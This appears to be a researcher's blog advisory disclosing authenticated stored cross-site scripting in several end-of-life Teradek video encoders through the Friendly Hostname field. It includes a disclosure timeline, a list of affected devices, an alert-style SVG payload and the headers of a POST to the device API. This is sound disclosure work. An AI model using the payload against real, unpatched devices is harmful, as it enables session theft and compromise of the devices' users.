Vulnerability Research
Teradek Cross-Site Scripting Vulnerability Advisory
Multiple Teradek Devices Found Vulnerable to Authenticated Stored Cross-Site Scripting
By: Tyler Butler, Apr 29, 2021 | 3 min read

Back in May, I disclosed a series of cross-site scripting vulnerabilities in the Cube 305 video encoder, a legacy video encoder from vendor Teradek. Teradek is video solutions manufacturer that develops networked devices for broadcast, cinema & imaging applications. After working through initial vulnerability disclosure with Teradek customer support, they informed me that “based on the scope of work involved, the product management team has determined that this issue will not be fixed for the EOL products”. In this blog post, I’ll describe the disclosure timeline and vulnerability details. While they declined to address the vulnerability, Teradek was overall a supportive partner in the vulnerabiltiy disclosure process, providing consistent communication and even going out of their way to provide a detailed list of effected devices.

See the original vulnerability disclosure here


⏱ Disclosure Timeline

I discover the vulnerability and open support ticket #128254 via
12 May 2021
Teradek responds to initial report and requests additional information.
13 May 2021
Continuous communication between myself and Teradek support
14 May - Jul 15th 2021
Teradek indicates the product will be classified as EOL and the issue will not be addressed. Teradek support provides a full list of effected products so I can engage Mitre CVE team
16 Jul 2021

💡 About the Vendor

Teradek produces video encoding devices used by streamers and video professionals alike. According to their website, “Teradek designs and manufactures high performance video solutions for broadcast, cinema, and general imaging applications. From wireless monitoring, color correction, and lens control, to live streaming, SaaS solutions, and IP video distribution, Teradek technology is used around the world by professionals and amateurs alike to capture and share compelling content.” Some of their most popular products include the Bolt, a zero delay HDR solution; the Teradek Ace, a compact wireless video system; and the Serve Pro, a compact live streaming HD system for android and MacOS.

💀 Vulnerability Details

The Teradek Cube 305 and all the following Teradek devices are vulnearble to a stored cross-site scripting vulnerability via the Friendly Hostname field within the System Information Settings. Remote authenticated attackers can exploit this vulnerability by embedding malicious JavaScript payloads that execute in the context of victim browsers. The impact of this vulnerability is severe, as malicious code could be used to track victim browsers, steal cookies, or further exploit users.

  1. Bond (firmware releases in the 7.3.x range were the final releases)
  2. Bond II (firmware releases in the 7.3.x range were the final releases)
  3. Bond Pro (firmware releases in the 7.3.x range were the final releases)
  4. Brik (firmware releases in 7.2.x were final)
  5. Clip
  6. Cube (firmware releases in the 7.3.x range were the last releases)
  7. Cube Pro (firmware releases in the 7.3.x range were the final releases)
  8. Slice (1st generation; firmware releases in the 7.3.x range were the final releases)
  9. Sphere
  10. VidiU / VidiU Mini (firmware 3.0.8 was the final release)

⚰️ Proof of Concept

Payload: Services.Zeroconf.friendlyname=Cube+255+04834<svg/onload=alertxss!>

POST /cgi-bin/api.cgi HTTP/1.1
Content-Length: 415
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: serenity-session=29328153
Connection: close


Sending Payload with BurpSuite

Entering Payload via Device Settings

Payload Execution